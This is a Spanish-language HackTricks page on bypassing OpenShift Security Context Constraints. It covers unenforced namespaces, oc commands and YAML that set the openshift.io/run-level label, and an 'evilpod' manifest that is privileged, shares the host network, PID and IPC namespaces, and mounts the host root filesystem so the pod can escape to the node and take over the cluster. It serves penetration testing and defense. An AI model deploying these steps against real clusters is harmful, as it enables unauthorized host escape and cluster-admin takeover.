Español - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

OpenShift - SCC bypass

El autor original de esta página es Guillaume

Espacios de nombres privilegiados

Por defecto, SCC no se aplica en los siguientes proyectos:

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

Si despliegas pods dentro de alguno de estos espacios de nombres, no se aplicará ninguna SCC, lo que permite el despliegue de pods privilegiados o el montaje del sistema de archivos del host.

Etiqueta de Espacio de nombres

Según la documentación de RedHat, hay una forma de deshabilitar la aplicación de SCC en tu pod. Necesitarás tener al menos uno de los siguientes permisos:

  • Crear un Espacio de nombres y crear un Pod en este Espacio de nombres

  • Editar un Espacio de nombres y crear un Pod en este Espacio de nombres

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

El label específico openshift.io/run-level permite a los usuarios evadir las SCCs para las aplicaciones. Según la documentación de RedHat, cuando se utiliza este label, no se aplican SCCs en todas las pods dentro de ese espacio de nombres, eliminando efectivamente cualquier restricción.

Agregar Label

Para agregar el label en tu espacio de nombres:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Para crear un espacio de nombres con la etiqueta a través de un archivo YAML:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Ahora, todos los nuevos pods creados en el espacio de nombres no deben tener ningún SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

En ausencia de SCC, no hay restricciones en la definición de su pod. Esto significa que un pod malicioso puede ser creado fácilmente para escapar al sistema host.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Ahora, se ha vuelto más fácil escalar privilegios para acceder al sistema host y posteriormente tomar el control de todo el clúster, obteniendo privilegios de 'cluster-admin'. Busca la parte de Post Explotación de Nodos en la siguiente página:

Attacking Kubernetes from inside a Pod

Etiquetas personalizadas

Además, según la configuración del objetivo, algunas etiquetas / anotaciones personalizadas pueden ser utilizadas de la misma manera que en el escenario de ataque anterior. Incluso si no se crearon para ello, las etiquetas podrían ser utilizadas para otorgar permisos, restringir o no un recurso específico.

Intenta buscar etiquetas personalizadas si puedes leer algunos recursos. Aquí tienes una lista de recursos interesantes:

  • Pod

  • Deployment

  • Namespace

  • Service

  • Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Enumerar todos los espacios de nombres privilegiados

$ oc get project -o yaml | grep 'run-level' -b5

Exploit avanzado

En OpenShift, como se demostró anteriormente, tener permiso para implementar un pod en un espacio de nombres con la etiqueta openshift.io/run-level puede llevar a una toma de control directa del clúster. Desde la perspectiva de la configuración del clúster, esta funcionalidad no se puede deshabilitar, ya que es inherente al diseño de OpenShift.

Sin embargo, medidas de mitigación como Open Policy Agent GateKeeper pueden evitar que los usuarios establezcan esta etiqueta.

Para evadir las reglas de GateKeeper y establecer esta etiqueta para ejecutar una toma de control del clúster, los atacantes necesitarían identificar métodos alternativos.

Referencias

PreviousOpenShift - Tekton

Last updated